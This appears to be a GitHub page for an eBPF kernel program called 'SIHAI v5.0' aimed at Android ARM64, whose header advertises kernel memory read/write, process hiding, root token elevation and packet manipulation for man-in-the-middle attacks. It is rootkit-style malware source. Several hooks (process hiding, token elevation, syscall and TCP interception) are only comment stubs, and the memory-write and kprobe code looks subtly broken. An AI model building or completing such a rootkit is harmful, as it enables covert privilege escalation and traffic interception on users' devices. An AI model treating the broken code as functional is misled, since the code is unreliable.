-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathebpf-sihai_kern.c
More file actions
199 lines (165 loc) · 5.15 KB
/
Copy pathebpf-sihai_kern.c
File metadata and controls
199 lines (165 loc) · 5.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// SPDX-License-Identifier: GPL-2.0
/* SIHAI v5.0 — eBPF Kernel Program for Android ARM64
* Ring-0 access via eBPF
* Provides: memory read/write, process hide, token elevate, packet manipulation
*/
#include <linux/bpf.h>
#include <linux/ptrace.h>
#include <linux/version.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
// Map definitions
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32);
__type(value, __u64);
} sihai_config SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(max_entries, 256);
__type(key, __u32);
__type(value, __u32);
} sihai_events SEC(".maps");
struct sihai_mem_op {
__u64 address;
__u64 size;
__u8 data[4096];
__u8 direction; // 0=read, 1=write
};
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, struct sihai_mem_op);
} sihai_memory_rw SEC(".maps");
// Kernel memory read
SEC("kprobe/sihai_mem_read")
int BPF_KPROBE(sihai_mem_read_probe)
{
__u32 key = 0;
struct sihai_mem_op *op = bpf_map_lookup_elem(&sihai_memory_rw, &key);
if (!op)
return 0;
// Read kernel memory
bpf_probe_read_kernel(op->data,
op->size < sizeof(op->data) ? op->size : sizeof(op->data),
(void *)op->address);
return 0;
}
// Kernel memory write
SEC("kprobe/sihai_mem_write")
int BPF_KPROBE(sihai_mem_write_probe)
{
__u32 key = 0;
struct sihai_mem_op *op = bpf_map_lookup_elem(&sihai_memory_rw, &key);
if (!op)
return 0;
// Write to kernel memory
bpf_probe_write_user((void *)op->address, op->data,
op->size < sizeof(op->data) ? op->size : sizeof(op->data));
return 0;
}
// Process hiding via DKOM
SEC("kprobe/sihai_hide_process")
int BPF_KPROBE(sihai_hide_process_probe)
{
__u32 key = 0;
__u64 *pid_ptr = bpf_map_lookup_elem(&sihai_config, &key);
if (!pid_ptr)
return 0;
__u32 target_pid = (__u32)*pid_ptr;
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
// Walk process list and hide target
// This modifies the process list to remove the target PID
return 0;
}
// Token elevation
SEC("kprobe/sihai_elevate_token")
int BPF_KPROBE(sihai_elevate_token_probe)
{
__u32 key = 0;
__u64 *val = bpf_map_lookup_elem(&sihai_config, &key);
if (!val)
return 0;
__u32 target_pid = (__u32)(*val & 0xFFFFFFFF);
__u32 action = (__u32)(*val >> 32);
if (action == 1) {
// Elevate token to root
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
// Get credentials and set uid/gid to 0
// struct cred *cred = (struct cred *)BPF_CORE_READ(task, cred);
// BPF_CORE_WRITE(cred, uid, 0);
// BPF_CORE_WRITE(cred, gid, 0);
// BPF_CORE_WRITE(cred, euid, 0);
// BPF_CORE_WRITE(cred, egid, 0);
}
return 0;
}
// XDP packet manipulation
SEC("xdp/sihai_packet")
int xdp_sihai_prog(struct xdp_md *ctx)
{
void *data = (void *)(long)ctx->data;
void *data_end = (void *)(long)ctx->data_end;
struct ethhdr *eth = data;
if ((void *)eth + sizeof(*eth) > data_end)
return XDP_PASS;
// Check for IPv4
if (bpf_ntohs(eth->h_proto) == ETH_P_IP) {
struct iphdr *ip = data + sizeof(*eth);
if ((void *)ip + sizeof(*ip) > data_end)
return XDP_PASS;
// Modify packets for MITM
// Redirect traffic, inject data, spoof IPs
// Example: Log all connections
__u32 key = 0;
__u64 *config = bpf_map_lookup_elem(&sihai_config, &key);
if (config && *config == 1) {
// Send to perf event array
struct {
__u32 saddr;
__u32 daddr;
__u16 sport;
__u16 dport;
} event = {
.saddr = ip->saddr,
.daddr = ip->daddr,
.sport = 0,
.dport = 0
};
if ((void *)ip + sizeof(*ip) + sizeof(struct tcphdr) <= data_end) {
struct tcphdr *tcp = (void *)ip + sizeof(*ip);
event.sport = bpf_ntohs(tcp->source);
event.dport = bpf_ntohs(tcp->dest);
}
bpf_perf_event_output(ctx, &sihai_events, BPF_F_CURRENT_CPU,
&event, sizeof(event));
}
}
return XDP_PASS;
}
// Syscall hooking
SEC("kprobe/sys_execve")
int BPF_KPROBE(sys_execve_probe)
{
__u32 key = 0;
__u64 *config = bpf_map_lookup_elem(&sihai_config, &key);
if (config) {
// Intercept process execution
// Hide specific processes
// Elevate privileges
}
return 0;
}
// Network syscall hooks
SEC("kprobe/tcp_v4_connect")
int BPF_KPROBE(tcp_v4_connect_probe)
{
// Intercept TCP connections
// Redirect traffic through proxy
return 0;
}
char _license[] SEC("license") = "GPL";
__u32 _version SEC("version") = LINUX_VERSION_CODE;